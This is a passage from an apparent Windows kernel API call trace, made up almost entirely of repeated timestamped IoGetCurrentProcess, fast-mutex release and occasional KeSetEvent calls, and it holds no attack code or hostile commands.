ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.087] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.087] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.087] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.087] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.087] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.087] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.087] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.088] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.088] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.088] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.088] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.089] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.089] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.089] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.097] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.098] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.098] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.098] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.099] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.099] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.099] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.100] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.100] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.100] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.100] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.101] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.101] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.101] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.101] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.101] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.102] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.102] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.102] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.102] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.103] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.103] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.103] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.103] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.103] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.104] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.104] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.104] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.104] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.104] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.105] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.105] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.105] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.155] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.155] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.155] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.155] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.155] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.156] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.156] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.156] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.156] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.157] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.157] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.157] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.178] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.178] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.178] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.178] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.178] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.178] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.262] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.262] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.262] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.262] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.262] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.263] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.264] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.264] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.265] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.265] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.273] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.274] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.274] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.274] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.275] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.275] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.275] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.275] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.275] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.275] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.275] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.275] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.276] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.276] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.276] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.276] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.868] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.868] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.868] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.868] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0110.869] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.869] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.869] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.869] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.869] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.869] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.869] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.870] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.870] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.871] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.872] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.872] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.872] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.872] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.872] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.872] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.872] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.872] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.873] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.873] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.873] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.873] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.873] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.873] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.873] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.873] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.873] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.874] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.874] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.874] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.874] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.874] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.874] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.874] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.874] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.874] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.874] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.874] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.874] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.874] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.875] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.875] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.875] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.941] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.942] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.989] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.990] IoGetCurrentProcess () returned 0xffffe0000120d900 [0110.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0111.052] IoGetCurrentProcess () returned 0xffffe0000120d900 [0111.052] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0111.052] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0111.052] IoGetCurrentProcess () returned 0xffffe0000120d900 [0111.052] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0111.052] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0111.114] IoGetCurrentProcess () returned 0xffffe0000120d900 [0111.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0111.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0111.115] IoGetCurrentProcess () returned 0xffffe0000120d900 [0111.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0111.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0112.425] IoGetCurrentProcess () returned 0xffffe0000120d900 [0112.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0112.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0112.425] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0112.426] IoGetCurrentProcess () returned 0xffffe0000120d900 [0112.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0112.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0112.426] IoGetCurrentProcess () returned 0xffffe0000120d900 [0112.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0112.426] 